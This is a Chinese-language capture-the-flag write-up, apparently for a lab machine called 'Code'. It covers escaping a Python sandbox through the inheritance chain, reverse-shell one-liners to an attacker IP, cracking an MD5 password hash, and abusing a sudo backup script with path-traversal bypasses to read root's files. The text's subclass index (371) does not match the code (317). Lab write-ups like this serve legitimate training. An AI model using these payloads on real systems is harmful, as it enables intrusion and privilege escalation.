USER

nmap -T4 -v -A -Pn 10.10.11.62 -oN code.txt

继承链调用

port 5000

一个 python 在线编译器,如果直接尝试使用普通的 python 执行系统命令,会显示

Use of restricted keywords is not allowed.使用了受限字符

可能存在环境限制了某些模块的导入,比如os模块被禁用,可以用到 Python对象继承链,尝试绕过一下,

索引 371 指向subprocess.Popen类(对比普通的 os 模块导入,是隐式的,可以用来绕过黑名单)

以下两种都是可以的

#管道
().__class__.__base__.__subclasses__()[317](["/bin/bash","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.XX.XX 5566 >/tmp/f|bash"])
#bash tcp
().__class__.__base__.__subclasses__()[317](["/bin/bash","-c","ls|bash -i >& /dev/tcp/10.10.XX.XX/5566 0>&1"])

获得app-production 用户的权限

到/home/app-production 目录就可以看到 user.txt 了

ROOT

database.db

/home/app-production/app/instance 路径下发现了一个 database.db 文件

下载下来查看

发现另一个用户 martin 的 password hash:3de6f30c4a09c27fc71932bfc68474be

破解一下

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

nafeelswordsmaster

用密码 ssh 连接到martin

backy.sh

sudo -l 查看,可以 sudo 权限执行 backy.sh

Bash 脚本的主要作用是处理一个 JSON 文件,验证其中指定的目录是否符合允许路径的要求,并最终调用 backy 来备份

查看一下 backy

我们在/home/martin/backups 路径下面就可以看到一个 task.json 文件

那我们可以修改备份路径,让 bakcy 备份 root.txt,然后查看

先修改 task.json

cat > /home/martin/backups/task.json << EOF
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/root/"
  ]
}
EOF

然后 sudo 权限备份

sudo /usr/bin/backy.sh /home/martin/backups/task.json

会受到提醒,所以我们修改一下(而且发现对../有过滤,所以我们可以....//双写绕过一下)

(后面发现如果task.json 在/home/martin/backups/会有../过滤,但是在/tmp 目录却没有过滤)

这里演示一下/tmp 目录的

sudo /usr/bin/backy.sh /tmp/task.json
cat > /tmp/task.json << EOF
{
  "destination": "/tmp",#在/home/martin/backups/目录换成'/home/martin/backups/'
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/var/../root/root.txt" #在/home/martin/backups/目录换成'/var/....//root/root.txt'
  ]
}
EOF

然后再次 sudo 执行 backy,然后解压生成的压缩文件

最后进入备份的 root 文件夹就可以看到 root.txt 了

tar -xvjf code_var_.._root_root.txt_2025_March.tar.bz2

"The quieter you become, the more you are able to hear."